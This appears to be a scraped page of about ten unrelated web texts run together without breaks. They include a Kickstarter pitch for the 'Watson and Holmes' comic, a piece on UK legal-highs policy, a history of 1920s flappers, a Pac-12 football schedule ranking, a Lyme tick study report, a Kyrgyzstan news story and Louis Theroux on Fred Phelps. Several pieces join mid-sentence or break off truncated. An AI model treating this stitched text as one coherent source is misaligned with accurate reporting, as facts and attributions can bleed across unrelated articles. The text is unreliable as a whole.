WATSON AND HOLMES, conceived by New Paradigm Studios' Publisher BRANDON PERLOW and writer/artist PAUL MENDOZA, is a re-envisioning of Sir Arthur Conan Doyle's Sherlock Holmes and Dr. John Watson as African Americans living in New York City's famous Harlem district. Watson, an Afghanistan war vet, works in an inner-city clinic; Holmes, a local P.I. who takes unusual cases.
Our first volume, written by KARL BOLLERS and illustrated by RICK LEONARDI, follows the unlikely duo as they strike up a partnership to find a missing girl. Soon the two enter a labyrinth of drugs, guns, gangs and a conspiracy that goes higher and deeper than they could have imagined. Epilogue story written by KARL BOLLERS with art by LARRY STROMAN.
In contrast, the second volume of WATSON AND HOLMES are made up of multiple one-shot stories and inviting other talented writers and artists to tell them.
BRANDON EASTON AND N.STEVEN HARRIS craft a multiple award winning and nominated story concerning the mysterious murder of a NYC politician's wife...
STEVEN GRANT, HANNIBAL TABU and DENNIS CALERO have the duo investigate veteran suicides in Rockford,Illinois, way out of Holmes' comfort zone.
LYNDSAY FAYE and ELI POWELL tell a story about a rickshaw rider who is being pursued by a mysterious bicyclist, and introduces the Watson And Holmes' interpretation of IRENE ADLER.
We are also working on adding more stories to this volume as part of our stretch goals.
WHAT WE ARE TRYING TO DO...
Because of the strong reception garnered by our first Kickstarter and accolades the series has received (2014 GLYPH AWARD WINNER for Fan Favorite, Best Writer, Best Artist and Best Story as well as 2014 EISNER NOMINATIONS for Best New Series and Best Single Issue), New Paradigm Studios is looking to use the Kickstarter platform to launch volume two of the series. As the self-deemed “Little Comic Book Studio That Could”, our success could not have been made without you, our fans and backers.
As New Paradigm Studios is part of both Diamond Distributors and SCB Book Distributors, the Watson And Holmes series is available in every comic book, hobby shop, and (soon) bookstores all over the country. We are kicking off a Kickstarter campaign to expand our outreach with this second collection and infuse your support into new exciting stories and developing new series. Join us in continuing to build a new comic book company off the ground.
This title that has given us the honor to work with the talents of Rick Leonardi, Karl Bollers, Paul Mendoza, Brandon Easton, N.Steven Harris, Lyndsay Faye, Eli Powell, Chuck Dixon, Hannibal Tabu, Steven Grant, Dennis Calero, Larry Stroman, Walter Simonson and many more soon to be announced. We thank them all for their hard work on the series.
Our hope is that with your pledges and support, we could put together an even better trade than the first one.THANK YOU FOR YOUR SUPPORT AND INVESTMENT PLEDGES!
STRETCH GOALS!!!!!!!
THANK YOU SO MUCH BACKERS! WE NOW HAVE FUNDED
AND ONWARDS TO STRETCH GOALS!
STRETCH GOAL #1 $22,500
BOOKMARK WITH NEW ART! (Producer Pack and Up)
STRETCH GOAL #2 $25,000
MRS HUDSON BOOKS AND VINYL 1.75" BUTTON! (Producer Pack and Up)
STRETCH GOAL #3 $27,500
ANNOUNCED WHEN STRETCH GOAL 2 IS MET!
SUMMARY KEY POINTS…
The physical investment reward copies printed in this Kickstarter will only be printed for this campaign as a Kickstarter exclusive. NO WHERE ELSE. Plus all physical WATSON AND HOLMES copies will be signed by the creative team.
Not to mention we have a slew of other exciting investment returns that include being drawn in one of our premiere titles to original artwork done by Rick Leonardi, N.Steven Harris, Dennis Calero, etc.
As an ongoing series, we have many stories planned for our Harlem sleuths, WATSON AND HOLMES, that go beyond what is already planned for this trade. Currently issue 6 and 7 are already done which leaves production of 8, 9, and possibly more as we continue to fund this campaign.
WHERE DOES THE MONEY GO…
Money earned will go to covering fees, postage, and printing of the exclusive Kickstarter copies. Leftover money will be used to fund future projects, which include adding more stories to this very trade. As always, if the demand is high enough and additional funds are earned beyond our request, we plan to roll out additional investment rewards and incentives as well.
11 x 17 PRINT by Tomm Coker
11 x 17 PRINT by Professor John Jennings
11 x 17 PRINT by Walter Simonson and Laura Martin
Issue # 6 Page by N.Steven Harris
Issue 7 pages by Dennis Calero
Issue 8 Page by Eli Powell
Watson and Holmes # 4 (c) Original Cover Art by ChrisCross
EXAMPLES OF CHRISCROSS COMMISSIONS
Defender Commission by ChrisCross from the collection of Carlo Mich
Batman commission by ChrisCross from the collection of Aric Shapiro
Watson and Holmes V1 trade cover art - Ryan Wardlow paint over RIck Leonardi Pencils
Ryan Wardlow book cover illustration
Ryan Wardlow character commission
"Darth Floater" by Brandon Perlow
"Toada" by Brandon Perlow
"Fing Fang Foom" by Brandon Perlow
WHO WE ARE...
Lyndsay Faye is the international bestselling author of the Timothy Wilde series, which has been translated into 14 languages and was nominated for an Edgar Award. Her first novel “Dust and Shadow,” a Sherlock Holmes pastiche, was critically-acclaimed and endorsed by Caleb Carr. She is a proud member of the Baker Street Irregulars, the Adventuresses of Sherlock Holmes, and the Baker Street Babes. Lyndsay resides in NYC with her husband Gabriel Lehner and their two cats Prufrock and Grendel.
Brandon M. Easton is a professional writer, screenwriter, and educator based in New York City. Born and raised in Baltimore, MD, Easton is a graduate of Ithaca College and Boston University’s prestigious Screenwriting program. Brandon has well over 10 years of writing experience. He has penned articles for the Boston Herald, Crashpad Magazine, and a variety of other publications. His past work has included the original comic book series ARKANIUM for Dreamwave Productions, and Transformers: Armada, which was distributed on Free Comic Book Day across North America. He is currently working on a novelized version of SHAWDOWLAW as well as other high-concept screenplays. Check out his websites — www.shadowlawonline.com and www.foolscrusade.blogspot.com. Brandon’s Watson and Holmes #6 won four ECBACC- GLPYH AWARD WINNER: Fan Favorite, Best Writer, Best Artist and Best Story.
Hannibal Tabu is a writer, journalist, DJ, poet, designer and jackass living in southern Los Angeles with his wife and two daughters. He's a winner of the 2012 Top Cow Talent Hunt, writer of WASO: WILL TO POWER for Stranger Comics, ARTIFACTS #35 for Image Comics, and co-writer (alongside 2 GUNS writer Steven Grant) of WATSON & HOLMES #7 for New Paradigm Studios. He has two self-published novels, THE CROWN: ASCENSION and FARAWAY, available on all major online booksellers. His poetry has been published in (SIC) VICE VERSE, A DRUMMING BETWEEN US, DRUMVOICES REVUE and VOICES FROM LEIMERT PARK. His weekly comic book review column THE BUY PILE can be found on Comicbookresources.com and more information can be found at his website, www.hannibaltabu.com.
New Paradigm Studios - Founded by 3D artist/designer Brandon Perlow, New Paradigm Studios (NPS) is a young publishing company established to change the existing paradigms of comic book storytelling. Distributed in digital and in print, NPS is committed to publishing cutting edge titles that break the norm and shift away from experiencing the conventional.
Brandon Perlow (Publisher) - has worked in the visual effects industry since 1996. Working on such movies as X-Men, X-Men 2, 2Fast and 2Furious, Apocalypto, Zack Snyder’s 300, National Treasure, and David Fincher’s Zodiac, Brandon has always had an eye for quality storytelling. His true passion has always been with comics so when the opportunity and timing presented itself, Brandon founded New Paradigm Studios.
Karl Bollers (Writer) - New York-based African American comic book professional, started out as an editor for Marvel Comics before pursuing a freelance writing career. His notable and well received works include Wolverine: Hunger, Emma Frost, Captain America: Red, White & Blue, What If? and Archie Comics' Sonic the Hedgehog. Karl's current NPS titles include: WATSON AND HOLMES, Volume 3 and THE ROCKTHROWER.
Rick Leonardi (Artist) - is a veteran comic book illustrator who has worked on various books for Marvel Comics and DC Comics, including notable runs on Marvel’s Cloak and Dagger, The Uncanny X-Men, The New Mutants, Spider-Man 2099 as well as DC Comics' Nightwing, Batgirl, Green Lantern Versus Aliens, and Superman. When it comes to all things Sherlock Holmes, Rick as proven to be a key asset in bringing NPS' WATSON AND HOLMES series to life.
Paul J. Mendoza (Colorist) - is an illustrator and sculptor who has worked over the years in both print and film doing storyboarding and concept designs. After a period as a penciler for Dark Horse Comics, he continued on to digital art, as well as providing design and sculptural work over the years for Morpheus International and various other clients. Now, after too long an absence, he is happily returning to comics.
Justin F. Gabrie (Senior Editor) - Justin has a long career working in comics and licensing as an editor, penciler, writer, colorist and content specialist for companies such as Marvel, Sega and Archie Comics. Among the titles Justin worked on: Marvel’s Punisher books in the 90s -- including War Journal and War Zone, as well as events like Suicide Run and Punisher/Batman: Deadly Knights -- to Marvel's recent runs of What If? -- including issue #200 with Stan Lee. For Archie Comics: Archie Meets The Punisher, Mirage Studios’ Teenage Mutant Ninja Turtles: Year of the Turtle, and eight years of Sonic The Hedgehog comics and spinoffs, which led to a licensing position at Sega. Before joining NPS, “JG” recently worked as Marvel's Director of Publishing & Editorial Operations / Managing Editor.
Zack Rosenberg (Assistant Editor/Marketing and Promotions ) - Zack is a young professional in the comic book industry. Having worked under the tutelage of C.B. Cebulski, head Talent Scout and Editor at Marvel, Zack brings along his on point expertise from his training at Marvel Entertainment, Cartoon Network Studios, and Penguin Group (USA) to the New Paradigm Studios wheelhouse. Zack is also currently writing his projects, soon to be announced.There has been an explosion of so-called ‘legal highs’ in recent years and their production shows no signs of abating.
These potentially dangerous drugs—sold as plant food, collector’s items or bath salts—have been blamed for a number of incidents ranging from fatal overdoses to a series of “zombie-style cannibal attacks” (later disproven).
As lawmakers rush to come up with legislative responses—often consisting of new laws banning these substances—a recent report by a group of lawmakers reveals that it is precisely this proscriptive impulse that may be driving the creation of even more synthetic drugs.
Manufacturers of these drugs (the majority of which are marijuana substitutes) produce them to bypass existing proscriptive drug laws. But once the new substance is banned, chemists get to work to produce newer, possibly even more dangerous drugs, according to a new report by the UK’s All-Party Parliamentary Group for Drug Policy Reform.
“Banning substances within the current system has not, and in our view will not, reduce their use overall,” the group wrote in its report Towards a Safer Drug Policy: Challenges and Opportunities arising from ‘legal highs’.
“Evidence presented here indicates that, paradoxically, the banning of one drug can make the situation worse by stimulating the production of yet more new, unknown and potentially dangerous substances.”
The group suggests that the UK government study alternative policies like one being introduced in New Zealand that would create a licensing regime which would require any new substances to go through a lengthy testing process before approval for legal sale.
The group wrote, “A useful feature of New Zealand’s planned policy is to assess both the harms arising from a particular substance and the harms arising from controlling it.”
This passage contains one critical recommendation that any government would be wise to follow—the impacts of laws should be examined just as thoroughly as the impact of particular drugs.
Because evidence is beginning to indicate that the consequences of the response may be as bad as the thing we are trying to control.
Read the All-Party Group’s report here.Nerf guns provide hours of fun! With darts that fire up to 75 feet you can launch a long distance ambush on unsus |
apper" first appeared in Great Britain after World War I, as a term which meant a young girl, still somewhat awkward in movement and who had not yet entered womanhood. In the June 1922 edition of the Atlantic Monthly, G. Stanley Hall described looking in a dictionary to discover what the evasive term "flapper" meant:
[T]he dictionary set me right by defining the word as a fledgling, yet in the nest, and vainly attempting to fly while its wings have only pinfeathers; and I recognized that the genius of'slanguage' had made the squab the symbol of budding girlhood.
Authors such F. Scott Fitzgerald and artists such as John Held Jr. first brought the term to the U.S. reading public, half reflecting and half creating the image and style of the flapper. Fitzgerald described the ideal flapper as "lovely, expensive, and about nineteen." Held accentuated the flapper image by drawing young girls wearing unbuckled galoshes that would make a "flapping" noise when walking.
Many have tried to define flappers. In William and Mary Morris' Dictionary of Word and Phrase Origins, they state, "In America, a flapper has always been a giddy, attractive, and slightly unconventional young thing who, in [H. L.] Mencken's words, 'was a somewhat foolish girl, full of wild surmises and inclined to revolt against the precepts and admonitions of her elders.'"
Flappers had both an image and an attitude.
Catalin Grigoriu / Getty Images
Flapper Clothing
The Flappers' image consisted of drastic—to some, shocking—changes in women's clothing and hair. Nearly every article of clothing was trimmed down and lightened in order to make movement easier.
It is said that girls "parked" their corsets when they were to go dancing. The new, energetic dances of the Jazz Age, required women to be able to move freely, something the "ironsides" of whalebone didn't allow. Replacing the pantaloons and corsets were underwear called "step-ins."
The outer clothing of flappers is even still extremely identifiable. This look, called "garconne" ("little boy"), was popularized by Coco Chanel. To look more like a boy, women tightly wound their chest with strips of cloth in order to flatten it.
The waists of flapper clothes were dropped to the hipline. She wore stockings—made of rayon ("artificial silk") starting in 1923—which the flapper often wore rolled over a garter belt.10
The hem of the skirts also started to rise in the 1920s. At first, the hem only rose a few inches, but between 1925 and1927 a flapper's skirt fell just below the knee, as described by Bruce Bliven in his 1925 article "Flapper Jane" in The New Republic:
The skirt comes just an inch below her knees, overlapping by a faint fraction her rolled and twisted stockings. The idea is that when she walks in a bit of a breeze, you shall now and then observe the knee (which is
The Goddess Rain
Flapper Hair and Make-Up
The Gibson Girl, who prided herself on her long, beautiful, lush hair, was shocked when the flapper cut hers off. The short haircut was called the "bob" which was later replaced by an even shorter haircut, the "shingle" or "Eton" cut.
The shingle cut was slicked down and had a curl on each side of the face that covered the woman's ears. Flappers often finished the ensemble with a felt, bell-shaped hat called a cloche.
Flappers also started wearing make-up, something that had previously been only worn by loose women. Rouge, powder, eye-liner, and lipstick became extremely popular. Sneered a shocked Bliven,
Beauty is the fashion in 1925. She is frankly, heavily made up, not to imitate nature, but for an altogether artificial effect—pallor mortis, poisonously scarlet lips, richly ringed eyes—the latter looking not so much debauched (which is the intention) as diabetic.
Smoking
The flapper attitude was characterized by stark truthfulness, fast living, and sexual behavior. Flappers seemed to cling to youth as if it were to leave them at any moment. They took risks and were reckless.
They wanted to be different, to announce their departure from the Gibson Girl's morals. So they smoked. Something only men had done previously. Their parents were shocked: W. O. Saunders described his reaction in "Me and My Flapper Daughters" in 1927.
I was sure my girls had never experimented with a hip-pocket flask, flirted with other women's husbands, or smoked cigarettes. My wife entertained the same smug delusion, and was saying something like that out loud at the dinner table one day. And then she began to talk about other girls.
'They tell me that that Purvis girl has cigarette parties at her home,' remarked my wife. She was saying it for the benefit of Elizabeth, who runs somewhat with the Purvis girl. Elizabeth was regarding her mother with curious eyes. She made no reply to her mother, but turning to me, right there at the table, she said: 'Dad, let's see your cigarettes.'
Without the slightest suspicion of what was forthcoming, I threw Elizabeth my cigarettes. She withdrew a fag from the package, tapped it on the back of her left hand, inserted it between her lips, reached over and took my lighted cigarette from my mouth, lit her own cigarette and blew airy rings toward the ceiling.
My wife nearly fell out of her chair, and I might have fallen out of mine if I hadn't been momentarily stunned.
Alcohol
Smoking wasn't the most outrageous of the flapper's rebellious actions. Flappers drank alcohol. At a time when the United States had outlawed alcohol (Prohibition), young women were starting the habit early. Some even carried hip-flasks full so as to have it on hand.
More than a few adults didn't like to see tipsy young women. Flappers had a scandalous image, defined in Jackie Hatton's "Flapper" entry in the 2000 St. James Encyclopedia of Popular Culture as the "giddy flapper, rouged and clipped, careening in a drunken stupor to the lewd strains of a jazz quartet."
Dancing
The 1920s was the Jazz Age and one of the most popular past-times for flappers was dancing. Dances such as the Charleston, Black Bottom, and the Shimmy were considered "wild" by older generations.
As described in the May 1920 edition of the Atlantic Monthly, flappers "trot like foxes, limp like lame ducks, one-step like cripples, and all to the barbaric yawp of strange instruments which transform the whole scene into a moving-picture of a fancy ball in bedlam."
For the Younger Generation, the dances fit their fast-paced lifestyle.
Driving and Petting
For the first time since the train and the bicycle, a new form of faster transportation was becoming popular. Henry Ford's innovations were making the automobile an accessible commodity to the people.
Cars were fast and risky—perfect for the flapper attitude. Flappers not only insisted on riding in them; they drove them. Unfortunately for their parents, flappers didn't just use cars to ride in. The back seat became a popular location for the new popular sexual activity, petting. Others hosted petting parties.
Though their attire was modeled after little boys' outfits, flappers flaunted their sexuality. It was a radical change from their parents' and grandparents' generations.
The End of Flapperhood
While many were shocked by the flapper's skimpy attire and licentious behavior, a less extreme version of the flapper became respectable among the old and the young. Some women cut off their hair and stopped wearing their corsets, but didn't go to the extreme of flapperhood. In "A Flapper's Appeal to Parents," Ellen Welles Page said:
I wear bobbed hair, the badge of flapperhood. (And, oh, what a comfort it is!) I powder my nose. I wear fringed skirts and bright-colored sweaters, and scarfs, and waists with Peter Pan collars, and low-heeled "finale hopper" shoes. I At the end of the 1920s, the stock market crashed and the world was plunged into the Great Depression. Frivolity and recklessness were forced to come to an end. However, much of the flapper's changes remained.
SourcesThe 2013 season is 16 weeks away, and will get underway with an interesting slate of out-of-conference games for the Pac-12. While they won’t have a marquee matchup against LSU like they have of late, the conference will play Notre Dame three times, as well as host both Ohio State and Wisconsin, while traveling to Nebraska.
Here’s how the conference’s OOC schedules look heading into the season, ranked by team, according to difficulty.
1. Arizona State
Opponents: vs. Sacramento State(FCS), vs. Wisconsin, vs. Notre Dame(Arlington,TX)
With Will Sutton back on the defensive line, the Sun Devils come into 2013 as Rose Bowl hopefuls, and face a tough slate that could help them in the polls due to a substantial strength of schedule. Despite opening with Sacramento State –who have two straight wins over Pac-12 teams– the Fighting Grahams will have their hands full with Wisconsin and Notre Dame, before tough in-conference trips to Palo Alto and Pasadena. The matchup with the 2012 runner-up Irish has to be the most intriguing, considering that just last month, Notre Dame cancelled their 2014 trip to Tempe.
2. California
Opponents: vs. Northwestern, vs. Portland State(FCS), vs. Ohio State
Like Arizona State, Cal cancels out an FCS opponent with two difficult non-conference games. Though, unlike the Sun Devils they’ll play both Northwestern and Ohio State at home, with an inexperienced roster playing under a new regime with Sonny Dykes. It doesn’t bode well for the Bears, as they face what are probably the two best coached teams in Big Ten.
3. UCLA
Opponents: vs. Nevada, at Nebraska, vs. New Mexico State
The Bruins face a murderer’s row of teams on the road this year, with in-conference trips to Stanford, Arizona, USC and Oregon. But the road worries all start with a trip to Lincoln in September, which is immediately preceded by a solid test out of the gate from Nevada. The Nebraska game is the one everyone’s circled, but Nevada is a dangerous season opener, even at the Rose Bowl. Mora’s bunch is very talented, but they need a good trip through September to have a stand-out season, and could be in a for a bumpy ride.
4. Washington
Opponents: vs. Boise State, vs. Illinois(Chicago), vs. Idaho State(FCS)
The Huskies lost to Boise State in the Las Vegas Bowl last December, and now get the honor of hosting the Broncos to open the newly-renovated Husky Stadium. It won’t be easy, especially with a medium-tough trip to Solider Field waiting in September. That said, at least Keith Price and company aren’t headed to Baton Rouge this season.
5. Stanford
Opponents: vs. San Jose State, at Army, vs. Notre Dame
Typically, facing San Jose State and Army in the same season would be grounds for eye rolls and blowouts, especially considering that Stanford could be a national title game contender come November. But don’t discount the Spartans in week 1, as they won 11 games in 2012 and nearly defeated a Josh Nunes-led Cardinal team in Palo Alto last year. Oh, and Notre Dame’s bi-annual trip to the Farm won’t be a creampuff, either.
6. Oregon
Opponents: vs. Nicholls State(FCS), at Virginia, vs. Tennessee
Give credit to the Ducks for routinely scheduling good out-of-conference games, as they’ve played Michigan, Oklahoma, Boise State and LSU in the last decade, and now conclude a home-and-home series with Tennessee. Luckily for UO though, they get both the Vols and Virginia when they don’t have many expectations, making for an OOC schedule similar to last year’s, when they faced Arkansas State, Fresno State and Tennessee Tech.
7. USC
Opponents: at Hawai’i, vs. Boston College, vs. Utah State, at Notre Dame
A trip to Hawai’i means an extra home game by NCAA rule, and the Trojans probably weren’t expecting Utah State to be coming off of an 11-2 season when they signed a contract with the Aggies for the game back in 2010. And considering how USC likes to play one solid BCS opponent per year, the same yet opposite could be said about Boston College, a program that has really fallen on hard times since the game was drawn up years ago. Having said that, USC will be favored in three of the four non-conference games, and they’ll need to win them to gain confidence going into the Notre Dame game in mid-October.
8. Utah
Opponents: vs. Utah State, vs. Weber State(FCS), at BYU
Utah’s non-conference school reads like a Salt Lake City sportscaster’s dream, as the Utes will play all three non-conference games against the three other Salt Lake area teams. The big one of course, is that trip to Provo. Not only will it be BYU and Utah’s most anticipated game of the year, it’ll be awfully emotional and perhaps the most anticipated dreaded game of the decade, as the long-time rivals won’t play again until 2016.
9. Washington State
Opponents: at Auburn, vs. Southern Utah(FCS), vs. Idaho
Outside of Auburn still being a member of the SEC and playing in a stadium as hostile as any in the country, Mike Leach’s Cougs don’t have that daunting of an early schedule. Washington State should be improved in 2013 given that it’s year two under Leach, and three wins out of the shoot could be doable if the Cougars can get the best of Auburn, who open the Gus Malzahn era by facing WSU.
10. Oregon State
Opponents: vs. Eastern Washington(FCS), vs. Hawaii, at San Diego State
Last year, the Beavers opened up the year 7-0 for the first time ever. This year they could very well duplicate it, as the In’n’Out aficionados open with three winnable games to start. Mike Riley will be astutely aware of San Diego State’s potential however, especially at Jack Murphy.
11. Colorado
Opponents: vs.Colorado State(at Denver), at Central Arkansas(FCS), vs. Fresno State
Outside of the worries that Derek Carr bring to the table, Colorado’s non-conference schedule probably wouldn’t keep many coaches at night. Unfortunately for the Buffaloes however, they could very easily go winless in them. Colorado State beat the Buffs last year and Central Arkansas finished the 2012 season ranked No. 8 in the FCS. Let’s see how Mike MacIntyre does in Boulder.
12. Arizona
Opponents: vs. Northern Arizona(FCS), at UNLV, vs. Texas-San Antonio
Arizona fell just short of scheduling the Cochise County YMCA All-Stars this year. But given that the Wildcats have had a reputation of continuously over-strengthening their non-conference schedule, a year with the three easiest gimmies in the country might not be a bad idea. It’ll at least give former USC quarterback Jesse Scroggins some playing time in low-pressure situations, whether it be in relief or not.YouTube Silences Six Hours Of DARPA Robotics Finals... Because Of One Song Briefly In The Background
from the fun-with-contentid dept
As you may have heard, DARPA, the wonderful government agency folks who helped bring us the precursors to the internet and self-driving cars, held a giant robotics competition this weekend, known as the DARPA Robotic Challenge, or DRC. It was full of amazing robots -- though everyone seems focused on the ones that fell over, despite the amazing advancements in robotics that were on display.One bit of "robotics," whose best work ison display, is the robotic nature of YouTube's ContentID copyright censorship. If you go to check out the six hour YouTube video of the DRC Finals Workshop on YouTube you'll get to witness everything, but not hear a damn thing. Because, apparently, there was a copyright-covered song playing somewhere in the background, YouTube muted the whole damn thing:So, yup, rather than learning about the latest advancements from our soon to be robotic overlords, we'll just silence everything so someone's copyright isn't infringed because it was playing quietly in the background at a daylong event.
Filed Under: contentid, copyright, darpa, darpa robotics challenge, mute, robots, youtube
Companies: darpa, google, youtubeBEAVERTON, Ore. — Portland Timbers center back Steven Taylor experienced the pomp and intensity of the Timber-Sounders rivalry in his MLS debut last Sunday.
The 3-1 loss to the Sounders at CenturyLink Field wasn’t the result he wanted. But the former Newcastle United mainstay said there was plenty to build from — including his first chance to get 90 minutes alongside fellow Premier League veteran Liam Ridgewell.
“We know each other’s game and I know Liam from years and years [ago]. It just made it easier for myself. I think we understand each other very well,” Taylor said.
It helps that both Taylor and Ridgwell are vocal guys.
“He’s just a leader. You can tell he likes to talk,” said Timbers goalkeeper Jake Gleeson, about Taylor. “He’s very passionate in how he does things. Ridgy’s a big communicator too, so to have both of them commanding the back line is going to be vital.”
"Vital" describes Taylor’s Providence Park debut, which is expected to come this Sunday afternoon when Seattle visits as part of Heineken Rivalry Week (5 pm ET, ESPN, MLS LIVE in Canaa). He said playing a rival in back-to-back games will be a new experience, but one he is excited about.
“Everybody likes to play in the big games. Big players have to step up; that’s what it’s all about in these kind of games,” Taylor said. “That’s why you’re a professional footballer, for moments like this and games like this.”
After playing almost 200 matches in England’s top league, one thing that struck Taylor about his first MLS experience was the pre-game celebration at CenturyLink Field. But after those audiovisual surprises, he said he settled in and thought the Timbers did a nice job of executing their plan and absorbing pressure from Seattle during the first half.
The trouble, he said, came when the Timbers fell behind and lost their shape while chasing the tying goal. That is a lesson the whole club will carry into Sunday’s rematch, Taylor said.
“We’ve just got to make sure we play the game, not the occasion,” he said.
Taylor, 30, said his fitness will continue to improve with each match he plays.
“It’s at the end of the season, but for me, it’s like the start of the season. I’m feeling good, training hard and played hard at the weekend,” he said.
One thing that didn’t feel so good in Seattle was blocking a Nicolas Lodeiro free kick with his face. Taylor initially feared his nose was broken after he stood his ground in the middle of a defensive wall.
But he took it in stride. “If it stops a goal," he said, "happy days."Lyme disease is a mysterious, chronic condition that can lead to devastating symptoms, and a new study suggests the ticks that spread it may be increasing in numbers.
The report, published Wednesday in the Journal of Medical Entomology, found that the blacklegged tick and the western backlegged ticks, two vectors of Lyme, have now been reported in nearly half of all U.S. counties. The last comprehensive survey of the ticks’ presence was published in 1998, Science Daily reported.
By using a similar method to the one used in 1998, researchers at the Centers for Disease Control and Prevention (CDC) observed that the backlegged tick has been reported in more than 45 percent of counties compared to 30 percent in 1998. Compared to 1998, the backlegged tick is considered established in twice the number of counties today, Science Daily reported. The western backlegged tick, meanwhile, only increased from 3.4 to 3.6 percent of counties.
The Northeast has seen the biggest spread of the backlegged tick, while the nusiance’s presence in the South has stayed stable.
"This study shows that the distribution of Lyme disease vectors has changed substantially over the last nearly two decades and highlights areas where risk for human exposure to ticks has changed during that time," said Dr. Rebecca Eisen, a research biologist at the CDC, according to Science Daily. "The observed range expansion of the ticks highlights a need for continuing and enhancing vector surveillance efforts, particularly along the leading edges of range expansion."
The symptoms of Lyme can often be mistaken as the flu, but prompt treatment with antibiotics can aid treatment. The CDC recommends using insect repellent, reducing the tick habitat, applying pesticides and removing ticks quickly to help prevent Lyme.BISHKEK, KYRGYZSTAN -- Less than a month before the violent protests that toppled the government of Kyrgyzstan last week, Russian television stations broadcast scathing reports portraying President Kurmanbek Bakiyev as a repugnant dictator whose family was stealing billions of dollars from this impoverished nation.
The media campaign, along with punishing economic measures adopted by the Kremlin, played a critical role in fanning public anger against Bakiyev and bringing people into the streets for the demonstrations that forced him to flee the capital Wednesday, according to protest leaders, local journalists and analysts.
"Even without Russia, this would have happened sooner or later, but... I think the Russian factor was decisive," said Omurbek Tekebayev, a former opposition leader who is now the No. 2 figure in the government.
Russian Prime Minister Vladimir Putin has denied that Moscow played any role in the uprising, and leaders of the movement to oust Bakiyev insist they received only moral support. But the Kremlin had made no secret of its growing displeasure with Bakiyev, and over the past few months it steadily ratcheted up the pressure on his government while reaching out to the opposition.
The strategy was a sharp departure from Russia's traditional support for autocratic leaders in its neighborhood. It paid off quickly and dramatically, and it appears to have delivered the Kremlin a rare foreign policy victory.
Not only has Moscow served notice on other wayward autocrats in its back yard -- many of whom also govern Russian-speaking populations that watch Russian television -- it also appears to have gained a greater say over the future of the U.S. air base here, which is critical to supplying the NATO military surge in Afghanistan.
Little more than a year ago, the Kremlin regarded Bakiyev as an ally, promising him more than $2 billion in aid during a visit to Moscow at the height of the global economic crisis.
On the same trip, Bakiyev announced plans to close the U.S. air base, in what was widely seen as an exchange.
Four months later, after Russia had made good on $415 million of its pledge, Bakiyev suddenly agreed to keep the air base open when Washington offered more than three times the original rent. Russian officials, including President Dmitry Medvedev, indicated at the time that they had blessed the decision, but it soon became clear that the Kremlin had been cheated -- and was furious.
"The Russians were upset and angry, not just because of the base but because of his attitude," Tekebayav said.
In November, Russian media reported that Putin upbraided the Kyrgyz prime minister at a summit, asking why the U.S. air base had not been closed and alleging that the Russian aid money had been stolen by Bakiyev's family. In February, Moscow postponed payment of the remaining $1.7 billion of the package, with officials saying publicly that the first tranche had been misused.
In late March, two weeks before the April 7 protests, Russia's Kremlin-friendly television stations and newspapers marked the fifth anniversary of Bakiyev's rise to power in the putsch known as the Tulip Revolution with unusually tough stories about his rule. One paper compared him to Genghis Khan, and Russia's top television station hammered him with multiple reports alleging corruption.Pastor Fred Phelps is gone, called to glory if you believe the teachings of his hate-spewing ministry, the Westboro Baptist Church. To me it seems more likely that his remains are mouldering away somewhere, obeying the laws of physics and biology. But, either way, it seems an appropriate moment to reflect on the man and his legacy.
I had some history with "Gramps", as his family and followers liked to call him. I made two documentaries about his church for the BBC: The Most Hated Family In America in 2006 and America's Most Hated Family in Crisis in 2010. In all, I suppose I spent about a month with the members of the WBC, trying to figure out what induces them to dedicate their every spare moment – when they aren't holding down respectable jobs as lawyers, correctional officers or salespeople in their hometown of Topeka, Kansas – to flying around the country, standing as close to funeral-goers as they are legally allowed and waving hate-filled placards with slogans such as "Thank God for Dead Soldiers", "Fags Eat Poop", and, of course, "God Hates Fags". They became notorious for picketing the funerals of soldiers killed in Iraq and Afghanistan. In the WBC teachings, the soldiers were being punished for fighting for a nation doomed in the eyes of God for its tolerance of homosexuality.
Their main scriptural inspiration is the passage in Leviticus that mandates the death penalty for gay sex ("Thou shalt not lie with mankind as with womankind: it is an abomination") though, for some reason, the adjacent verses, which proscribe astrology in similar terms, never seem to excite the WBC quite so much. Not to mention that Christ had nothing to say on the subject of gay sex or shouting at funerals and plenty to say about kindness and humility.
The WBC has tended to be a family affair, overwhelmingly made up of Gramps' lineal descendants and their spouses. They live in suburban Topeka, in a collection of houses with connected gardens, which they call Zion. Gramps was the prime mover behind the practices of the church. He founded it when the idea of abominating sodomites was mainstream in American Christian circles. In some respects, it was the times that changed, leaving the WBC behind in their dogged adherence to old-style fire-and-brimstone Bible-thumping. But it's also the case that homosexuality seems to have been an obsession with Pastor Phelps.
According to legend, the WBC inaugurated their anti-gay pickets when a Topeka park became a cruising ground in the 1980s. The Phelps decided to make signs and demonstrate against the practice. The WBC doctrine evolved into a belief that the whole of America was fallen and damned in God's eyes, as was anyone who fought under the US flag – or, indeed, who wasn't a member of the Westboro Baptist Church. We are all either "fags" or "fag enablers" – you, me, Desmond Tutu, Princess Di, Donald Rumsfeld, Billy Graham, Liz Taylor – though possibly not Robert Mugabe: Gramps had a soft spot for him. An eternity in hell is the fate of anyone who doesn't get baptised into the WBC and travel the country waving hate-filled placards at political events, colleges and places associated – even in the most tortuously oblique way – with tolerance of homosexuality.
While I was with them, they had a regular local picket of a hardware store that sold Swedish vacuum cleaners. The Swedish government had imprisoned a pastor for homophobic preaching, and for the WBC that made the store a legitimate target for a ritualised Biblical smackdown. For the newcomer, these pickets were bizarre, not simply because of the venom of the signs, but also because they clashed with the banality of the family interaction. For the Phelpses, it was another day at the office – there was a water-cooler ambience of chit-chat. Meanwhile, everyone, even the youngest child, was carrying placards saying: "Thank God for 9/11", "Your Pastor is a Whore" and "Fag Sweden".
There is no question that their caravan of religious bigotry has made life miserable for thousands of people, many of them vulnerable mourners hoping to pay tribute to recently departed loved ones. Among their proposed picketing targets was the funeral of young Amish children who had been shot by a deranged gunman. In the tortured logic of the WBC, those kids died because their parents weren't out holding pickets denouncing homosexuality. In the end, the WBC called off the event only after they were promised airtime on a local radio station, effectively holding the community to ransom.
But the WBC also made life miserable for themselves and inflicted a distorted and poisonous view of the world on the youngest members of their own family, holding over their heads the threat that any deviation or failure of commitment (not going to a picket or socialising with outsiders) would result in a lifetime of banishment. Ex-members – of whom there are quite a few – can have no contact with the church.
Louis Theroux with members of the Phelps family during the making of his first documentary. Photograph: BBC
